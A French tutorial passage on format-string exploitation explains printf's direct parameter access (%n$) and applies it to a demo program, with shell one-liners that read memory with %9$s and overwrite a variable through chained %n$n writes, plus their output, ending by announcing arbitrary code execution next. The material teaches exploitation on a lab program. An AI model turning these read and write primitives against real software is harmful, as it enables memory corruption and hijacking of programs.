Chaine de format - accès direct aux paramètres   Version imprimable de cet article Enregistrer au format PDF

Notre exploitation actuelle des vulnérabilités type format strings nous oblige à remonter toute la pile et à rajouter des bytes poubelles afin d’utiliser cette vulnérabilité correctement. Il y a beaucoup plus propre, mais surtout beaucoup plus simple.


par S3cur3D

Accès direct aux paramètres

Notre exploitation actuelle des vulnérabilités type format strings nous oblige à remonter toute la pile et à rajouter des bytes poubelles afin d’utiliser cette vulnérabilité correctement. Il y a beaucoup plus propre, mais surtout beaucoup plus simple.
Toutes les fonctions de formatages des chaines de caractère (printf, fprintf, sprintf) permettent, chose mal connue des programmeurs, la possibilité d’utilisation de l’accès direct. Au lieu d’écrire %o pour effectuer l’opération o, et remplir dans la liste des paramètres le n-ième paramètre correspondant, il suffit d’y accéder par %n$o, n étant le rang de l’argument dans la liste. Cette utilisation est particulièrement intéressante quand on utilise plusieurs fois les mêmes paramètres, sans avoir à les réécrire trop de fois. Voici un exemple :

  1. #include <stdio.h>
  2.  
  3. int main() {
  4.  
  5. char *addr = getenv("PATH");
  6. char caractere = 48;
  7.  
  8. printf("La variable PATH est à %1$p et contient %1$s. Le caractère est %2$c, ce qui correspond à %2$d en ascii, soit %2$x en hexa et j'en passe.\n",addr,caractere);
  9.  
  10. return 0;
  11. }

Télécharger

Et sa sortie :

   $ gcc acces_direct.c && ./a.out
   La variable PATH est à 0xbfe9ae08 et contient /usr/local/bin:/usr/bin:/bin:/usr/bin/X11:/usr/games. Le caractère est 0, ce qui correspond à 48 en ascii, soit 30 en hexa et j'en passe.
   $

On peut donc a priori simplifier considérablement les exploits de type format strings, notamment quand l’état de la pile est plus compliqué que dans nos exemples (au cas où il faudrait une chaîne formatée géante pour permettre l’exploitation.

Application aux vulnérabilités format strings

Dans les exemples suivants, on a pris soin d’échapper le $ ($ = \$) car c’est un caractère spécial du shell. Par conséquent, il serait interprété avant d’être envoyé à echo si on ne prenait pas soin de le neutraliser par l’anti-slash. L’utilisation de la vulnérabilité pour lire est désormais triviale :

   $ echo `printf "\x90\x98\x04\x08"`%9\$s | ./format-strings
   Tout d'abord, on imprime une chaîne de caractères de test : "Chaîne de caractères de test", se situant à 0x8049890

   i = 1337 = 539 et se trouve à 0x804988c
   On compte jusqu'à ici, puis jusqu'à là le nombre de bytes écrites
   Jusqu'à ici, il y avait 59 bytes et 18 de ici à là

   Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée
   On peut écrire votre commentaire de deux façons :

   Comme ça,  &#732;%9$s

   ou comme ça :  &#732;Chaîne de caractères de test
   i = 1337 = 539

   Fin du programme

   $

Dans le cas de l’écriture, on n’a plus besoin des bytes poubelles que représentaient HACK puisque nous sommes libre de lire l’argument que l’on veut pour faire augmenter le nombre de bytes écrites jusqu’au nombre adéquat. On prend soin de réajuster le nombre de bytes à écrire pour la première lecture (0x78 - 16 = 120 - 16 = 104) :

   $ echo `printf "\x8c\x98\x04\x08\x8d\x98\x04\x08\x8e\x98\x04\x08\x8f\x98\x04\x08"`%8\$104x%9\$n%8\$222x%10\$n%8\$222x%11\$n%8\$222x%12\$n | ./format-strings
   Tout d'abord, on imprime une chaîne de caractères de test : "Chaîne de caractères de test", se situant à 0x8049890

   i = 1337 = 539 et se trouve à 0x804988c
   On compte jusqu'à ici, puis jusqu'à là le nombre de bytes écrites
   Jusqu'à ici, il y avait 59 bytes et 18 de ici à là

   Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée
   On peut écrire votre commentaire de deux façons :

   Comme ça, &#338;&#732; &#732;&#381;&#732; &#732;%8$104x%9$n%8$222x%10$n%8$222x%11$n%8$222x%12$n

   ou comme ça : &#338;&#732; &#732;&#381;&#732; &#732;                             bf9210d8                                                                                                                         bf9210d8                                                                                                                         bf9210d8                                                                                                                         bf9210d8
   i = 305419896 = 12345678

   Fin du programme

   $

Bien que cette dernière écriture ne soulage pas nécessairement l’oeil humain, il faut reconnaître qu’elle simplifie les actions de lecture/écriture, et ceux de façon exponentielle avec la complexité ou la longueur de la pile dans une situation réelle. Trèves de bavardages. Nous allons maintenant voir comment avec ces quelques connaissances on peut se débrouiller pour exécuter du code arbitraire.

Documentations publiées dans cette rubrique Documentations publiées dans cette rubrique